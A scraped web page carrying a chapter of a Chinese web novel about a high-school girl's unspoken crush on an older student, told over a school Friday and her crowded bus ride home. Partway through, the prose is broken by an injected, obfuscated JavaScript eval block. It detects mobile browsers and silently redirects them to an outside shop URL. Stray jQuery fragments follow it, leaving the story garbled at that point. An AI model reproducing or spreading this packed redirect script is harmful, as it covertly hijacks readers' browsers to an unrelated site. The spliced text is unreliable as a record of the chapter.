雾与灯/厘因
-
该怎样去描写一个人的青春呢。
是蝉鸣不止的盛夏，还是枯燥而繁重的学业？
回望那段岁月，乔锦先想到的，是最讨厌的周五。
晨昏线刚刚亮起，睡眼朦胧的少男少女匆匆跑出宿舍楼。
有人正嘲笑顶着鸡窝头的同学，忽然被同伴嬉笑着撞了下手臂，低头一看，才发现是自己穿错了球鞋。
瞥见值班老师的身影，乔锦拽了拽好友的衣摆提醒，站着打瞌睡的万青语撑开眼皮，困倦地嘟囔着：“真羡慕走读生，不用晨跑。”
绕着操场跑了两圈，乔锦与室友去食堂吃完早餐，又去小卖铺买了零食和牛奶，以备着课间能垫垫肚子。
上午最后两节是余老师的课，他是出了名的会拖堂，等上完课，食堂已经没什么东西了。
回教学楼，她们常常会选择经过那条圆弧走廊。
不止是她们，也会有许多学生来这里。
清晨或落日余晖，结伴或孤身一人，望着遥远的晨曦，不知是在背书，还是因为伤心事难过。
乔锦的宿舍四个女生，其中一个女生个子高，坐在教室的后排，与前后桌的女孩儿关系相对较好。
而乔锦三人出入并行，她向来是站在最右侧的，听着万青语说话，她像是受到什么牵引，目光往不远处望去。
高挑清越的男生单肩背着包，宽松的黑白色校服穿在他身上十分干净。
斑驳的阳光倾斜在他凌厉的侧脸处，他皮肤很白，乌黑的头发似乎没怎么打理过，柔软又随性。
身边的人不知道说了什么，他双手插着兜，懒懒散散地笑了笑，乔锦连他的背影都舍不得错过——
她能得到的，也只有他的背影，他的侧脸。
直到他们的身影彻底消失，她回过神，才发现自己的脚步不自觉地慢了下来。
万青语两人挽着手，在不远处疑惑地回头看过来：“小锦，你怎么了？”
她快步走了上去，摇摇头说：“没什么，我们聊到哪了？”
一路回到教室，乔锦翻开要早读的课本。
如往常的习惯，英语老师借用早自习的时间，一个个叫到走廊抽背。
乔锦其他几门的成绩平平，唯独英语还算不错。
她背得很熟，老师表扬她：“你的口音比以前好多了，是不是私底下有在练？”
乔锦腼腆地点了点头，她出生于一个小县城，初中学校很小，每个年级只有两个班。
她曾经觉得自己成绩还不错，上了高中以后才发现，这里到处都是佼佼者。而她普普通通的，只是刚好浮于中游的位置。
学校有自己的录音带，听说今年的版本不一样，是由高二的周醒言学长重新录制的。
每个同学都要买这个录音带，乔锦在拿到录音带的当晚就听了很久。
他声音清越好听，并没有刻意地凹出磁性，像是夏日的青柠，干净清透。
戴着耳机时，就像是他在耳边轻语。
有同学说，她听着录音带睡着了，果然再好听的声音，再帅的学长，念英语课文照样催眠。
可几乎每个晚上，乔锦都要听录音带。
她笨拙地学着他的咬字，一遍又一遍地自我纠正。
偶尔，她会偷偷把自己的声音录下来。
放一遍他的，又放一遍自己的，就好像交织出错觉，仿佛他们在对话。
两节课结束的大课间，需要集合做广播操。
高一的队伍站在最左侧，所以高年级从教学楼出来时，总会经过他们的班级。
每一次，乔锦都会偷偷寻找周醒言的身影。
又或者，她根本不需要寻找，他一出现，她的视线就像是被牵引，直定定地跟着他走，看他与朋友说话，看他独自垂着眼皮思考。
高一距离高二的位置太远了，可旋转运动时，她还是会下意识地，装作不经意地往他所在的方向找去。
人影绰绰，他被无数的身影挡住。
侥幸捕捉到一角时，明明太阳要将人晒得融化，她的心依然扑通乱撞。
但今天是周五。
周醒言的课表早就被人流传出来，她也偷偷收藏了一份。
他上午两节课的老师，也是出了名的爱占课间。
几乎每次周五，他所在的班级都不会出现。
偶尔雨天不需要去操场，她会偷偷穿过两条走廊，跑去他所在的教学楼。
快要接近他的班级时，她脚步慢了下来，抬手捋了下额间的碎发，装作不经意地往教室里瞥了一眼。
他坐在中间那组的最后一排，没有将校服拉链束到最上方，松松垮垮的，单手撑着脸颊写题，没有抓耳挠腮，低垂的眉眼被她走过的阴影拂过一瞬。
他脸上没有任何的松动，也完全不在意外头路过的是谁，神清淡漠而认真。
乔锦站在烈日下挥动着手臂，转身时望向那缺席的班级位置，心里怔松，却又想到，他今天该换位置了。
上午的最后两节课，是乔锦最不喜欢的数学。
余老师是个四十多岁的男人，他尤其喜欢叫成绩一般的同学起来回答问题。
乔锦数学不好，便是常被他点名的其中之一。
如果回答不出来，他不会责骂，却会笑眯眯地当众阴阳一番。
每当此时，乔锦的脸皮都火辣辣的疼着，窘迫铺天盖地压了下来，令她有些抬不起头。
但幸好，今天的题目她会，老师放过了她。
拖了半个小时的课，如她们所料，赶去食堂时已经没什么食物。
乔锦和室友打算去小卖铺买点吃的，却发现连这里都被学生买空了。
她买了个平常没吃过的面包，匆匆回到宿舍收拾行李。
“对了小锦，你周末和我们一起去ktv玩吗？”
万青语缩在床上，找了个很刁钻的角度玩手机，她测试过很多次，这个姿势绝对不会被纪检部的给看到。
乔锦指尖一顿，她没有回头：“我就不去了。”
万青语其实不太高兴，她撇了撇嘴：“你怎么这么不合群呀，叫你好几次了都不去。”
乔锦不安地蜷了下手，“我家比较远，过来不方便，而且，我妈妈管得严。”
万青语说完就已经不当一回事了，听了她的话，也只是无奈地说：“好吧。”
午休结束，下午的体育课老师并没有让大家自由活动。
乔锦在体育这方面实在差劲，考试总徘徊在及格边缘。
又是跑又是蛙跳，乔锦累得脸颊红扑扑的，碎发凌乱地黏在额间。
体育老师还笑眯眯地说：“珍惜我吧，可以去问问那群高二的，他们想见我还见不到呢。”
高一的体育老师还是健康的，上了高二就总会“有事”了。
周五放学早，最后一节班会
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887864|212623||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
课大家都心不在焉的，就等待着铃声一响冲出教室，乔锦也在等待这一刻。
放学铃声格外动听，乔锦匆匆拎着包走了出去，她下楼时，瞧见有不少同学已经冲了下去。
她像是混在人群中的小沙砾随波逐流。
校门口的公交站早就挤满了人，她家住得远，需要坐两辆公交车，两个小时的路程并不容易。
第一班车是十五分钟一辆，而第二辆需要转乘的却是半小时一辆。
如果没有及时挤上公交，她回到家会很晚。
妈妈总会担心，每当此时，她都会唠叨许久，从而爸爸会看眼色提想买一辆车，说这样的话，送小锦上学也方便。
但他们家刚刚还完欠款，妈妈一笔账一笔账地掰开了说家里不容易，两人又开始吵起来——
这一切，只是因为她回家晚了。
乔锦的前后都是同学，整个胸腔都仿佛被挤压，她几乎是被推上公交车的。
站在她身后的男生呼吸总会拂在她耳边，车内的空气逼仄，还混合着各种味道。
她很不舒服，费力地挤开人群，踉跄地站到一个女生的身边。
她个子不高，够不到上方的扶手，只能扶着女生的后座。
身后有人又挤过来了，身躯几乎是紧贴着她的背，她忍耐着车内难闻的味道，面无表情地抬起了眼。
公交车的车窗似乎不怎么清洗，黏着灰蒙蒙的，斑驳的脏痕，如同把车内车外分割成泾渭分明的两个世界。
她一眼看见了周醒言。
他身上是一件干净的白t，校服搭在他左肩处，黑色的校裤显得他腿很长，就这么单手插兜地立在那与身边的人说话。
他不需要等公交车，姿态懒散松弛，像是极为随意地抬眼扫了过来，明明唇角噙着很浅的弧度，漆黑的瞳孔在阳光下却格外剔透冷淡。
乔锦知道自己现在有多狼狈。
拥挤的公交车里，她脸色苍白，唇也是。碎发凌乱，额间、鼻头全冒着汗，被人挤得无法站直，可在他看过来的一刹那，她没有躲避。
因为她知道，周醒言看的永远不会是她。
他的目光并不会为一辆载满了学生的公交车停留，也不会去打量挤在公交车里的同学。
即使视线会在万千的可能中交错一瞬，可乔锦明白，这一眼，只有她自己在意。
他只是随意地看了过来。
没有任何的目的，更不会注意到她的狼狈。
如她所想的那样，周醒言移开了视线。
周五学校门口的车多，公交车行驶得缓慢，金灿灿的阳光晒进来，像是烤着她的脸颊，刺眼又难受，她却舍不得闭上眼，始终紧盯着那道身影。
人影绰绰，他站在人群之中，是如此明朗夺目。
等周醒言坐进了黑色的轿车里，公交车的速度也终于提了起来。
两辆车背道而行，周醒言不住校，又有两天见不到了。
黑色的车渐渐消失在她的视野里，公车一个转弯，身后男生的书包上不知挂了什么，重重地顶到了她的腰。
她回头看了过去，高大凶相的男生仰着脸，似乎完全没有注意到自己撞到了她。
车内空气逼仄闷热，摇摇晃晃的让人站得不舒服。她忍着晕车带来的反胃闭上眼，身上的汗越多，也渐渐有点喘不过气。
慢长的路途很是煎熬。
以及，又有两天见不到周醒言了。